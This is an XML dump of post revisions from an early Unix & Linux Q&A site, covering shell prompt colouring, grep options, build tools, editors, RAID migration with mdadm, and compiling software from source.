  <row Id="267" PostHistoryTypeId="2" PostId="156" RevisionGUID="5a1e10e0-0ef0-4b8f-b086-925d07ed3e37" CreationDate="2010-08-10T21:37:22.720" UserId="4" Text="I set this in my .bashrc , instead of redefining grep using an alias:&#xD;&#xA;&#xD;&#xA;        export GREP_OPTIONS=&quot;--color=auto&quot;&#xD;&#xA;&#xD;&#xA;For me, this works on Linux, MacOSX &amp; FreeBSD." />
  <row Id="268" PostHistoryTypeId="6" PostId="71" RevisionGUID="568b5bff-82ba-4950-9bad-14dab6311326" CreationDate="2010-08-10T21:41:45.890" UserId="125" Comment="edited tags" Text="élinuxàéyumàéfedoraàéduplicateàéinstallà" />
  <row Id="269" PostHistoryTypeId="5" PostId="107" RevisionGUID="8bff09d1-06a5-4a23-abd4-3b8410edaf6c" CreationDate="2010-08-10T21:46:48.340" UserId="84" Comment="added 136 characters in body" Text="I've been using Vim as my text editor for a little while now and I feel like I'm taking the long way to do anything. I use ctags to tag my code base for navigation and I use grep (although inefficiently) to find where certain methods are used. But I have a feeling there are some very useful tools out there that I don't know about that could make me more productive.&#xD;&#xA;&#xD;&#xA;What is the best software stack I could use for general programming that would complement Vim? How do you navigate a code base, run make, push changes to your source control system, etc? Do you have a 2nd console open next to Vim?" />
  <row Id="270" PostHistoryTypeId="5" PostId="150" RevisionGUID="91d1b700-2d52-4515-91c1-e5e5e4b1c070" CreationDate="2010-08-10T21:47:40.820" UserId="165" Comment="added 674 characters in body" Text="Here are a couple of things you can do:&#xD;&#xA;&#xD;&#xA;**Editors + Code**  &#xD;&#xA;A lot of editors have syntax highlighting support. `vim` and `emacs` have it on by default. You can also [enable it under `nano`](http://wiki.linuxhelp.net/index.php/Nano_Syntax_Highlighting).&#xD;&#xA;&#xD;&#xA;You can also syntax highlight code on the terminal by using [Pygments](http://wiki.linuxhelp.net/index.php/Nano_Syntax_Highlighting) as a command-line tool.&#xD;&#xA;&#xD;&#xA;**grep**  &#xD;&#xA;`grep --color=auto` highlights all matches. You can also use `export GREP_OPTIONS='--color=auto'` to make it persistent without an alias. If you use `--color=always`, it'll [use colour even when piping][1], which confuses things.&#xD;&#xA;&#xD;&#xA;**PS1**  &#xD;&#xA;You can set your PS1 (shell prompt) to use colours. For example:&#xD;&#xA;&#xD;&#xA;    PS1=&quot;\x1B[33;1m\u@\h: \x1B[31m\W\x1B[0m\$ &quot;&#xD;&#xA;&#xD;&#xA;Will produce a PS1 like:&#xD;&#xA;&#xD;&#xA;[yellow]lucas@ubuntu: [red]~[normal]$ &#xD;&#xA;&#xD;&#xA;You can get really creative with this. As an idea:&#xD;&#xA;&#xD;&#xA;    PS1=&quot;\x1B[s\x1B[0;0H\x1B[1;33m\h\t\t\$(date)\n\x1B[1;32mThis is my computer\x1B[u[\u@\h:  \w]\$ &quot;&#xD;&#xA;&#xD;&#xA;Puts a bar at the top of your terminal with some random info. (For best results, also use `alias clear=&quot;echo -e '\e[2J\n\n'&quot;`.)&#xD;&#xA;&#xD;&#xA;**Getting Rid of Escape Sequences**&#xD;&#xA;&#xD;&#xA;If something is stuck outputting colour when you don't want it to, I use this `sed` line to strip the escape sequences:&#xD;&#xA;&#xD;&#xA;    sed &quot;s/\[^[[0-9;]*[a-zA-Z]//gi&quot;&#xD;&#xA;&#xD;&#xA;If you want a more authentic experience, you can also get rid of lines starting with `\e[8m`, which instructs the terminal to hide the text. (Not widely supported.)&#xD;&#xA;&#xD;&#xA;    sed &quot;s/^\[^[8m.*$//gi&quot;&#xD;&#xA;&#xD;&#xA;Also note that those ^[s should be actual, literal ^[s. You can type them by pressing ^V^[ in bash.&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxcommando.blogspot.com/2007/10/grep-with-color-output.html" />
  <row Id="271" PostHistoryTypeId="5" PostId="150" RevisionGUID="35d8ab4f-6964-4b05-9738-96da8e8e5b39" CreationDate="2010-08-10T21:53:34.763" UserId="165" Comment="sigh. forgot \e not \x1B and single rather than double quote." Text="Here are a couple of things you can do:&#xD;&#xA;&#xD;&#xA;**Editors + Code**  &#xD;&#xA;A lot of editors have syntax highlighting support. `vim` and `emacs` have it on by default. You can also [enable it under `nano`](http://wiki.linuxhelp.net/index.php/Nano_Syntax_Highlighting).&#xD;&#xA;&#xD;&#xA;You can also syntax highlight code on the terminal by using [Pygments](http://wiki.linuxhelp.net/index.php/Nano_Syntax_Highlighting) as a command-line tool.&#xD;&#xA;&#xD;&#xA;**grep**  &#xD;&#xA;`grep --color=auto` highlights all matches. You can also use `export GREP_OPTIONS='--color=auto'` to make it persistent without an alias. If you use `--color=always`, it'll [use colour even when piping][1], which confuses things.&#xD;&#xA;&#xD;&#xA;**PS1**  &#xD;&#xA;You can set your PS1 (shell prompt) to use colours. For example:&#xD;&#xA;&#xD;&#xA;    PS1='\e[33;1m\u@\h: \xe[31m\W\e[0m\$ '&#xD;&#xA;&#xD;&#xA;Will produce a PS1 like:&#xD;&#xA;&#xD;&#xA;[yellow]lucas@ubuntu: [red]~[normal]$ &#xD;&#xA;&#xD;&#xA;You can get really creative with this. As an idea:&#xD;&#xA;&#xD;&#xA;    PS1='\e[s\e[0;0H\e[1;33m\h    \t\n\e[1;32mThis is my computer\e[u[\u@\h:  \w]\$ '&#xD;&#xA;&#xD;&#xA;Puts a bar at the top of your terminal with some random info. (For best results, also use `alias clear=&quot;echo -e '\e[2J\n\n'&quot;`.)&#xD;&#xA;&#xD;&#xA;**Getting Rid of Escape Sequences**&#xD;&#xA;&#xD;&#xA;If something is stuck outputting colour when you don't want it to, I use this `sed` line to strip the escape sequences:&#xD;&#xA;&#xD;&#xA;    sed &quot;s/\[^[[0-9;]*[a-zA-Z]//gi&quot;&#xD;&#xA;&#xD;&#xA;If you want a more authentic experience, you can also get rid of lines starting with `\e[8m`, which instructs the terminal to hide the text. (Not widely supported.)&#xD;&#xA;&#xD;&#xA;    sed &quot;s/^\[^[8m.*$//gi&quot;&#xD;&#xA;&#xD;&#xA;Also note that those ^[s should be actual, literal ^[s. You can type them by pressing ^V^[ in bash.&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxcommando.blogspot.com/2007/10/grep-with-color-output.html" />
  <row Id="273" PostHistoryTypeId="6" PostId="80" RevisionGUID="b87dc757-1f80-482a-bde4-478b1937fc24" CreationDate="2010-08-10T21:55:24.280" UserId="125" Comment="edited tags" Text="élinuxàérecommendedàébooksà" />
  <row Id="275" PostHistoryTypeId="2" PostId="158" RevisionGUID="fa28bd98-c7e2-4f13-8341-8d85f74bee27" CreationDate="2010-08-10T21:56:43.217" UserId="84" Text="I sometimes compile app from source and I've either been using &lt;br /&gt;&#xD;&#xA;./configure &lt;br /&gt;&#xD;&#xA;make &lt;br /&gt;&#xD;&#xA;make install &lt;br /&gt;&#xD;&#xA;&#xD;&#xA;but recently, I came across: &lt;br /&gt;&#xD;&#xA;./autogen.sh &lt;br /&gt;&#xD;&#xA;&#xD;&#xA;which generates the configure and make scripts for me and executes them. What other ways to streamline code compilation exist? Make seems a bit old. Are there new tools out there? Given the choice, which one should I use?" />
  <row Id="276" PostHistoryTypeId="1" PostId="158" RevisionGUID="fa28bd98-c7e2-4f13-8341-8d85f74bee27" CreationDate="2010-08-10T21:56:43.217" UserId="84" Text="Is automake and autoconf the standard way to compile code?" />
  <row Id="277" PostHistoryTypeId="3" PostId="158" RevisionGUID="fa28bd98-c7e2-4f13-8341-8d85f74bee27" CreationDate="2010-08-10T21:56:43.217" UserId="84" Text="écompilingàéprogrammingà" />
  <row Id="278" PostHistoryTypeId="2" PostId="159" RevisionGUID="fb31bef3-9adb-4f7c-a4ae-d11a6e679c43" CreationDate="2010-08-10T21:57:59.737" UserId="141" Text="grep and LS have already been mentioned, if you want a lot more colors check out [Generic Coloriser][1], it's initial purpose was to colorize logfiles, but right out of the box it also colorizes ping, traceroute, gcc, make, netstat, diff, last, ldap and cvs.&#xD;&#xA;&#xD;&#xA;It's easily extended if you know regex. I've added ps and nmap to the list (if you get into grc I'll be more than glad to share the .conf files for those two tools)&#xD;&#xA;&#xD;&#xA;(btw, to install it via synaptic, pacman and alike you might have better luck searching for &quot;grc&quot;)&#xD;&#xA;&#xD;&#xA;  [1]: http://korpus.juls.savba.sk/~garabik/software/grc.html" />
  <row Id="280" PostHistoryTypeId="2" PostId="160" RevisionGUID="53386620-3867-4e19-82d0-9758eabbf568" CreationDate="2010-08-10T22:04:00.017" UserId="165" Text="I love chucking as much stuff as I can into my PS1. Some useful things to remember:&#xD;&#xA;&#xD;&#xA;`\e[s` and `\e[u` save and unsave the cursor position respectively. I use this to create an 'info-bar' at the top of the screen, a couple of lines long, which can fit more stuff. Example:&#xD;&#xA;&#xD;&#xA;    PS1='\[\e[s\e[7m\e[1;1H\]\w\n\t        \j / \! / \#\[\e[u\e[0m\e[33;1m\][\u@\h \[\e[34m\]\W]\[\e[0m\]\$ '&#xD;&#xA;&#xD;&#xA;Try it out!&#xD;&#xA;&#xD;&#xA;Also, the `PROMPT_COMMAND` variable defines a command to execute before the PS1 every time.&#xD;&#xA;&#xD;&#xA;Another one is the `bg` command. If you forget to put `&amp;` at the end of a command, just press &lt;kbd&gt;^Z&lt;/kbd&gt; and type `bg`, and it runs in the background." />
  <row Id="281" PostHistoryTypeId="16" PostId="160" RevisionGUID="53386620-3867-4e19-82d0-9758eabbf568" CreationDate="2010-08-10T22:04:00.017" UserId="-1" />
  <row Id="283" PostHistoryTypeId="5" PostId="160" RevisionGUID="7547d84b-3be2-4537-96c1-97c0ef810db7" CreationDate="2010-08-10T22:09:20.167" UserId="165" Comment="added 48 characters in body" Text="I love chucking as much stuff as I can into my PS1. Some useful things to remember:&#xD;&#xA;&#xD;&#xA;`\e[s` and `\e[u` save and unsave the cursor position respectively. I use this to create an 'info-bar' at the top of the screen, a couple of lines long, which can fit more stuff. Example:&#xD;&#xA;&#xD;&#xA;    PS1='\[\e[s\e[7m\e[1;1H\]\w\n\t        \j / \! / \#\[\e[u\e[0m\e[33;1m\][\u@\h \[\e[34m\]\W]\[\e[0m\]\$ '&#xD;&#xA;&#xD;&#xA;Combine with `alias clear='echo -e &quot;\e[2J\n&quot;'`. Try it out!&#xD;&#xA;&#xD;&#xA;Also, the `PROMPT_COMMAND` variable defines a command to execute before the PS1 every time.&#xD;&#xA;&#xD;&#xA;Another one is the `bg` command. If you forget to put `&amp;` at the end of a command, just press &lt;kbd&gt;^Z&lt;/kbd&gt; and type `bg`, and it runs in the background." />
  <row Id="284" PostHistoryTypeId="2" PostId="161" RevisionGUID="4d896da3-23d4-4962-a0ac-f13bbc658ee8" CreationDate="2010-08-10T22:09:27.467" UserId="137" Text="I use this function all the time:&#xD;&#xA;&#xD;&#xA;    tgrep () {&#xD;&#xA;        egrep -R --include=&quot;*.$1&quot; &quot;$2&quot; .&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;as well as some emacs code that uses either `git ls-files` or `hg manifest` and `xargs(1)` to pass the list of files to grep directly so it doesn't have to walk the tree at all. Piping the VCS's list of files into xargs is *blindingly* fast." />
  <row Id="285" PostHistoryTypeId="2" PostId="162" RevisionGUID="c031d171-250a-4230-9350-7480d8007098" CreationDate="2010-08-10T22:10:49.620" UserId="185" Text="Display Git branch and status in the prompt  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;export GIT_PS1_SHOWDIRTYSTATE=true&#xD;&#xA;&#xD;&#xA;if [ &quot;$color_prompt&quot; = yes ]; then&#xD;&#xA;    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$(__git_ps1 &quot;#%s&quot;)\$ '&#xD;&#xA;else&#xD;&#xA;    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w$(__git_ps1 &quot;#%s&quot;)\$ '&#xD;&#xA;fi&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="286" PostHistoryTypeId="16" PostId="162" RevisionGUID="c031d171-250a-4230-9350-7480d8007098" CreationDate="2010-08-10T22:10:49.620" UserId="-1" />
  <row Id="287" PostHistoryTypeId="2" PostId="163" RevisionGUID="80d62a39-0f7e-46b0-9336-4616dde453de" CreationDate="2010-08-10T22:10:50.697" UserId="184" Text="does any feature(s) exist that was for Darwin individually? or does any features exist that other Unix have and Darwin doesn't?" />
  <row Id="288" PostHistoryTypeId="1" PostId="163" RevisionGUID="80d62a39-0f7e-46b0-9336-4616dde453de" CreationDate="2010-08-10T22:10:50.697" UserId="184" Text="what feature(s) darwin have that other unix doesnt? (or viceversa)" />
  <row Id="289" PostHistoryTypeId="3" PostId="163" RevisionGUID="80d62a39-0f7e-46b0-9336-4616dde453de" CreationDate="2010-08-10T22:10:50.697" UserId="184" Text="éunixàéosxà" />
  <row Id="290" PostHistoryTypeId="2" PostId="164" RevisionGUID="9fac800e-b483-41a6-a19c-2b6b7a1d350f" CreationDate="2010-08-10T22:17:21.877" UserId="179" Text="[Scons][1] is one possible replacement, thought I have no personal experience. It's also implemented in Python, which could be a problem depending on the build environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.scons.org/" />
  <row Id="291" PostHistoryTypeId="2" PostId="165" RevisionGUID="f0d538c5-5944-4056-a0df-d95c76fe5fdb" CreationDate="2010-08-10T22:19:02.157" UserId="184" Text="what is advantages and disadvantages of ext3 and ReiserFS and JSF?&#xD;&#xA;each one use for what reason?" />
  <row Id="292" PostHistoryTypeId="1" PostId="165" RevisionGUID="f0d538c5-5944-4056-a0df-d95c76fe5fdb" CreationDate="2010-08-10T22:19:02.157" UserId="184" Text="what is advantages and disadvantages of ext3 and ReiserFS  and JSF?" />
  <row Id="293" PostHistoryTypeId="3" PostId="165" RevisionGUID="f0d538c5-5944-4056-a0df-d95c76fe5fdb" CreationDate="2010-08-10T22:19:02.157" UserId="184" Text="élinuxàéfilesystemsà" />
  <row Id="294" PostHistoryTypeId="2" PostId="166" RevisionGUID="732fbc80-3383-4e7c-b7f4-0e92b988021b" CreationDate="2010-08-10T22:19:37.083" UserId="190" Text="What is the best, or most reliable, way to manage my Unix/Linux user accounts with ActiveDirectory? Or, is this even feasible?" />
  <row Id="295" PostHistoryTypeId="1" PostId="166" RevisionGUID="732fbc80-3383-4e7c-b7f4-0e92b988021b" CreationDate="2010-08-10T22:19:37.083" UserId="190" Text="Identity Management with ActiveDirectory" />
  <row Id="296" PostHistoryTypeId="3" PostId="166" RevisionGUID="732fbc80-3383-4e7c-b7f4-0e92b988021b" CreationDate="2010-08-10T22:19:37.083" UserId="190" Text="éactivedirectoryà" />
  <row Id="300" PostHistoryTypeId="2" PostId="168" RevisionGUID="05990739-e202-4bcf-9256-6888c4a29199" CreationDate="2010-08-10T22:25:30.123" UserId="141" Text="this is usually in my startup script (.bashrc, .profile, whatever)&#xD;&#xA;&#xD;&#xA;shopt goodness, check the comments:&#xD;&#xA;&#xD;&#xA;    shopt -s cdspell		# try to correct typos in path&#xD;&#xA;    shopt -s dotglob		# include dotfiles in path expansion&#xD;&#xA;    shopt -s hostcomplete   # try to autocomplete hostnames&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;an alias that save keystrokes, mkdir and cd into it:&#xD;&#xA;&#xD;&#xA;    mkcd () { mkdir -p &quot;$@&quot; &amp;&amp; cd &quot;$@&quot;; }&#xD;&#xA;&#xD;&#xA;and last but not least, I've given up on memorizing tar syntax, so:&#xD;&#xA;&#xD;&#xA;    extract () {&#xD;&#xA;	if [ -f $1 ] ; then&#xD;&#xA;		case $1 in&#xD;&#xA;			*.tar.bz2)	tar xjf $1		;;&#xD;&#xA;			*.tar.gz)	tar xzf $1		;;&#xD;&#xA;			*.bz2)		bunzip2 $1		;;&#xD;&#xA;			*.rar)		rar x $1		;;&#xD;&#xA;			*.gz)		gunzip $1		;;&#xD;&#xA;			*.tar)		tar xf $1		;;&#xD;&#xA;			*.tbz2)		tar xjf $1		;;&#xD;&#xA;			*.tgz)		tar xzf $1		;;&#xD;&#xA;			*.zip)		unzip $1		;;&#xD;&#xA;			*.Z)		uncompress $1	;;&#xD;&#xA;			*)			echo &quot;'$1' cannot be extracted via extract()&quot; ;;&#xD;&#xA;		esac&#xD;&#xA;	else&#xD;&#xA;		echo &quot;'$1' is not a valid file&quot;&#xD;&#xA;	fi&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="301" PostHistoryTypeId="16" PostId="168" RevisionGUID="05990739-e202-4bcf-9256-6888c4a29199" CreationDate="2010-08-10T22:25:30.123" UserId="-1" />
  <row Id="302" PostHistoryTypeId="2" PostId="169" RevisionGUID="78cc615b-9b2b-48a1-b8b3-650673dcff88" CreationDate="2010-08-10T22:29:13.300" UserId="54" Text="Before doing anything of this sort *back up your data to separate media* and *verify the backup* via `sha1sum`.&#xD;&#xA;&#xD;&#xA;The process from there would look like&#xD;&#xA;&#xD;&#xA;* Break the RAID1 mirroring so that one of the drives is free&#xD;&#xA;* Add the third drive to your system&#xD;&#xA;* Create a degraded RAID5 out of the new drive and the one freed from the RAID1&#xD;&#xA;* Copy the data over to the RAID5 volume&#xD;&#xA;* Add the RAID1 disk to the RAID5 volume, and give it plenty of time to synchronize itself properly.&#xD;&#xA;* Verify that the data on the new volume matches the backup&#xD;&#xA;&#xD;&#xA;I've assumed that you're using Linux's software RAID support, in which case all of this would be managed by the `mdadm` command." />
  <row Id="303" PostHistoryTypeId="5" PostId="93" RevisionGUID="076bae9c-8730-4ee2-8b12-5babb086eadf" CreationDate="2010-08-10T22:29:55.127" UserId="26" Comment="added 462 characters in body" Text="Use mdadm, check the manpage. However, I will list one gothca here. If you do this and really want reliability, you should make sure your master boot record is copied to both drives. By default it will likely only get copied to one drive. If that drive dies, you cannot boot from the other drive, even though all your data is safe.&#xD;&#xA;&#xD;&#xA;To copy the mbr to both drives, use something like dd to copy the first 446 bytes of one drive to the other. &#xD;&#xA;&#xD;&#xA;    md if=/dev/sda of=/dev/sdb bs=446 count=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're building the RAID on top of the devices (/dev/sda) rather than on top of partions on the devices (/dev/sda1), then you probably shouldn't do what I am suggesting because you're writing data directly to the device underneath the md driver. At least, I've never tried it that way.&#xD;&#xA;" />
  <row Id="304" PostHistoryTypeId="6" PostId="7" RevisionGUID="065f0d5f-8137-4ecd-bbca-7cba8f24a607" CreationDate="2010-08-10T22:37:38.007" UserId="26" Comment="edited tags" Text="élinuxàésubjectiveà" />
  <row Id="305" PostHistoryTypeId="5" PostId="120" RevisionGUID="f7cb7797-0d16-45a3-819d-be30a37cdb22" CreationDate="2010-08-10T22:38:21.047" UserId="125" Comment="added 77 characters in body" Text="You can try [Kickstart][1] or you may want to set up a PXE install/boot server for multiple distros. Or if some of your machines are diskless you can try [LTPS][2] method (this is what is generally called - thin client - IIRC), also see [here][3]&#xD;&#xA;&#xD;&#xA;EDIT: If that's the case see [this][4] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Anaconda/Kickstart&#xD;&#xA;  [2]: http://www.ltsp.org/&#xD;&#xA;  [3]: https://fedorahosted.org/k12linux/&#xD;&#xA;  [4]: http://tinyurl.com/h7clm " />
  <row Id="306" PostHistoryTypeId="2" PostId="170" RevisionGUID="0467d064-c169-4cf0-8875-0e780e0e4f5d" CreationDate="2010-08-10T22:38:29.783" UserId="54" Text="To get a sense of the why and what the kernel is meant to support, have a look at [The Art of Unix Programming](http://catb.org/esr/writings/taoup/) by Eric Raymond. It takes things at a fairly high, philosophical level, but it would go well with the nitty-gritty details of other books." />
  <row Id="307" PostHistoryTypeId="6" PostId="2" RevisionGUID="2ae13c29-735a-43b4-8901-dae1ca887a87" CreationDate="2010-08-10T22:39:05.243" UserId="193" Comment="edited tags" Text="écompilingàédistrosàésourceà" />
  <row Id="308" PostHistoryTypeId="2" PostId="171" RevisionGUID="fffa446e-78eb-4af7-bc50-8b6c391da2be" CreationDate="2010-08-10T22:40:22.323" UserId="183" Text="* Emacs/Vim/Eclipse - Personally I am an Emacs user.  If you find the control sequences tire your pinky, just Viper-mode it up.  Emacs is so well integrated into unix, it makes it very easy to control everything all from one place.  Vim also does a good job here, but I find Elisp to be a much more powerful extension language than Vim Script.  One could talk for hours about all of the ways to set up Emacs for C development.  [Flymake Mode](http://flymake.sourceforge.net/) has been mentioned, and is a super start to things.  I am not familiar with Eclipse, I do not find it leaves enough room on my screen for code, nor do I like how bloated it is(Vim users will say the same thing about Emacs).  I am also unfairly biased against anything written in Java, for purely aesthetic reasons.&#xD;&#xA;&#xD;&#xA;* Ctags - Tags your C(or many other language) functions so that Vim or Emacs or whatever can do a little bit of hyper-text linking in your files.  Say you're wandering around and you see a function and you're scratching your head saying &quot;What does that one do again, the naming's a bit vague.&quot; plink-plank-plunk, you can zap straight to it's definition.&#xD;&#xA;&#xD;&#xA;* Cmake/Gnu-Autotools - Make is great, but at some point you need to abstract things a bit so that your project can build itself on all sorts of systems you have no way of testing for.  If you only need people to build your code on a *nix, Autotools is great, but realy you should familiarize yourself with Cmake anyway.  The Cmake team build code in every conceivable configuration possible and make sure that you don't have to go through the headache.  If you want your project to be easily picked up buy others, one of these tools is crucial.&#xD;&#xA;&#xD;&#xA;* Git/Mercurial/Subversion/... - You could spend months researching version control software, but you should probably just go with Git.  It's solid, it's distributed, the @$!#%&amp; Linux Kernel is tracked with it.  If it's good enough for Linus, it's got to be good enough for you.  I also hear good things about Mercurial, apparently G**gle uses them, so it's probably not bad.  Some people appear to like Subversion and CVS and whatnot.  I don't like them because they are monolithic, which to me is very inconvenient and limiting.  &#xD;&#xA;&#xD;&#xA;* Stumpwm/wmii/XMonad/... - At some point you're going to realize that anything you can do to keep your work flowing is going to greatly improve your output.  One of the best ways to keep your brain from breaking it's context is to switch to tiling, KEYBOARD DRIVEN window managers.  I am a personal fan of StumpWM, the Emacs of window managers.  Fully implemented in an on-the-fly customizable Common Lisp process, anything you find yourself doing repetitiously can be banished away into functions and bound to commands.  Great stuff.  I don't know much about any of the others, but maybe further elaboration is better left to another thread.  USE KEYBOARD AS MUCH AS POSSIBLE.&#xD;&#xA;&#xD;&#xA;I would like to put hyper links all over this answer to make it more handy, but allas I do not have enough merit yet here.  If someone else sees this and doesn't find it to much trouble, could you be a dear and do it for me?" />
  <row Id="309" PostHistoryTypeId="2" PostId="172" RevisionGUID="3e8cb706-0180-42f1-8ba1-d8ff27722679" CreationDate="2010-08-10T22:41:41.667" UserId="26" Text="This isn't quite an answer but, [DTrace][1] is an awesome system debugging tool. That exists for Solaris, Darwin/OS X, and *BSD, but not Linux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DTrace" />
  <row Id="310" PostHistoryTypeId="2" PostId="173" RevisionGUID="2728dd43-6302-43c4-bcfb-b35544e1169d" CreationDate="2010-08-10T22:54:53.787" UserId="193" Text="This is an issue that really limits my enjoyment of Linux. If the application isn't on a repository or if it doesn't have an installer script, then I really struggle where and how to install an application from source.&#xD;&#xA;&#xD;&#xA;Comparatively to Windows, it's easy. You're (pretty much) required to use an installer application that does all of the work in a Wizard. With Linux... not so much.&#xD;&#xA;&#xD;&#xA;So, do you have any tips or instructions on this or are there any websites that explicitly explain how, why and where to install Linux programs from source? " />
  <row Id="311" PostHistoryTypeId="1" PostId="173" RevisionGUID="2728dd43-6302-43c4-bcfb-b35544e1169d" CreationDate="2010-08-10T22:54:53.787" UserId="193" Text="How to compile and install programs from source" />
  <row Id="312" PostHistoryTypeId="3" PostId="173" RevisionGUID="2728dd43-6302-43c4-bcfb-b35544e1169d" CreationDate="2010-08-10T22:54:53.787" UserId="193" Text="écompilingàéinstallàésourceà" />
  <row Id="313" PostHistoryTypeId="6" PostId="137" RevisionGUID="9d376c0e-e03d-4e98-ba6e-bbae0c4bebda" CreationDate="2010-08-10T22:55:30.197" UserId="193" Comment="edited tags" Text="écommandölineàésubjectiveàédevelopmentàécàéeditorsà" />
  <row Id="314" PostHistoryTypeId="6" PostId="137" RevisionGUID="8b9cb0d0-e806-4635-826c-e01c42d84c76" CreationDate="2010-08-10T22:56:13.707" UserId="193" Comment="edited tags" Text="écommandölineàésubjectiveàécàéeditorsàéideà" />
  <row Id="315" PostHistoryTypeId="2" PostId="174" RevisionGUID="6861f021-004f-4ce0-9bbf-056a04d35372" CreationDate="2010-08-10T22:57:32.770" UserId="135" Text="I also use:&#xD;&#xA;&#xD;&#xA;    export TERM=xterm-color&#xD;&#xA;    export GREP_OPTIONS='--color=auto' GREP_COLOR='1;32'&#xD;&#xA;    export CLICOLOR=1&#xD;&#xA;    export LSCOLORS=ExFxCxDxBxegedabagacad&#xD;&#xA;&#xD;&#xA;And if you like colorizing your prompt, defined color vars can be useful:&#xD;&#xA;&#xD;&#xA;    export COLOR_NC='\e[0m' # No Color&#xD;&#xA;    export COLOR_WHITE='\e[1;37m'&#xD;&#xA;    export COLOR_BLACK='\e[0;30m'&#xD;&#xA;    export COLOR_BLUE='\e[0;34m'&#xD;&#xA;    export COLOR_LIGHT_BLUE='\e[1;34m'&#xD;&#xA;    export COLOR_GREEN='\e[0;32m'&#xD;&#xA;    export COLOR_LIGHT_GREEN='\e[1;32m'&#xD;&#xA;    export COLOR_CYAN='\e[0;36m'&#xD;&#xA;    export COLOR_LIGHT_CYAN='\e[1;36m'&#xD;&#xA;    export COLOR_RED='\e[0;31m'&#xD;&#xA;    export COLOR_LIGHT_RED='\e[1;31m'&#xD;&#xA;    export COLOR_PURPLE='\e[0;35m'&#xD;&#xA;    export COLOR_LIGHT_PURPLE='\e[1;35m'&#xD;&#xA;    export COLOR_BROWN='\e[0;33m'&#xD;&#xA;    export COLOR_YELLOW='\e[1;33m'&#xD;&#xA;    export COLOR_GRAY='\e[0;30m'&#xD;&#xA;    export COLOR_LIGHT_GRAY='\e[0;37m'&#xD;&#xA;&#xD;&#xA;And then my prompt is something like this:&#xD;&#xA;&#xD;&#xA;    case $TERM in&#xD;&#xA;         xterm*|rxvt*)&#xD;&#xA;             local TITLEBAR='\[\033]0;\u ${NEW_PWD}\007\]'&#xD;&#xA;              ;;&#xD;&#xA;         *)&#xD;&#xA;             local TITLEBAR=&quot;&quot;&#xD;&#xA;              ;;&#xD;&#xA;        esac&#xD;&#xA;&#xD;&#xA;    local UC=$COLOR_WHITE               # user's color&#xD;&#xA;    [ $UID -eq &quot;0&quot; ] &amp;&amp; UC=$COLOR_RED   # root's color&#xD;&#xA;&#xD;&#xA;    PS1=&quot;$TITLEBAR\n${UC}\u ${COLOR_LIGHT_BLUE}\${PWD} ${COLOR_BLACK}\$(vcprompt) \n${COLOR_LIGHT_GREEN}→${COLOR_NC} &quot;  &#xD;&#xA;&#xD;&#xA;$(vcprompt) is calling a python script in my ~/sbin which prints version control information about the current path.  It includes support for Mercurial, Git, Svn, Cvs, etc.  The author of the script has the [source here][1].&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/xvzf/vcprompt" />
  <row Id="316" PostHistoryTypeId="6" PostId="6" RevisionGUID="0429fd07-5887-4f95-80e0-b5df39dadefe" CreationDate="2010-08-10T22:58:44.187" UserId="73" Comment="edited tags" Text="écommandölineà" />
  <row Id="317" PostHistoryTypeId="6" PostId="137" RevisionGUID="52c4b7f5-3ea2-4327-b75e-f5ba5625bc08" CreationDate="2010-08-10T22:59:07.867" UserId="73" Comment="edited tags" Text="écommandölineàécàéeditorsàéideà" />
  <row Id="318" PostHistoryTypeId="6" PostId="148" RevisionGUID="e33be22c-c20b-4248-9ac3-c5f8803b66d9" CreationDate="2010-08-10T22:59:18.383" UserId="135" Comment="edited tags" Text="écolorsàébashàéshellàépromptà" />
  <row Id="319" PostHistoryTypeId="6" PostId="7" RevisionGUID="1ac66b51-1934-4b77-929e-0fe7d4d9a5c9" CreationDate="2010-08-10T23:00:17.820" UserId="73" Comment="edited tags" Text="élinuxà" />
  <row Id="320" PostHistoryTypeId="2" PostId="175" RevisionGUID="9fa71144-3c36-4999-a5b9-bca107aeb9f2" CreationDate="2010-08-10T23:02:59.420" UserId="85" Text="Normally, the project will have a website with instructions for how to build and install it. Google for that first.&#xD;&#xA;&#xD;&#xA;For the most part you will do either:&#xD;&#xA;&#xD;&#xA;1. Download a tarball (tar.gz or tar.bz2 file), which is a release of a specific version of the source code&#xD;&#xA;1. Extract the tarball with a command like `tar zxvf myapp.tar.gz` for a gzipped tarball or `tar jxvf myapp.tar.bz2` for a bzipped tarball&#xD;&#xA;1. cd into the directory created above&#xD;&#xA;1. run `./configure &amp;&amp; make &amp;&amp; sudo make install`&#xD;&#xA;&#xD;&#xA;Or:&#xD;&#xA;&#xD;&#xA;1. Use git or svn or whatever to pull the latest source code from their official source repository&#xD;&#xA;1. cd into the directory created above&#xD;&#xA;1. run `./autogen.sh &amp;&amp; make &amp;&amp; sudo make install`&#xD;&#xA;&#xD;&#xA;Both configure and autogen.sh will accept a --prefix argument to specify where the software is installed.  I recommend checking out http://unix.stackexchange.com/questions/30/where-should-i-put-software-i-compile-myself for advice on the best place to install custom-built software." />
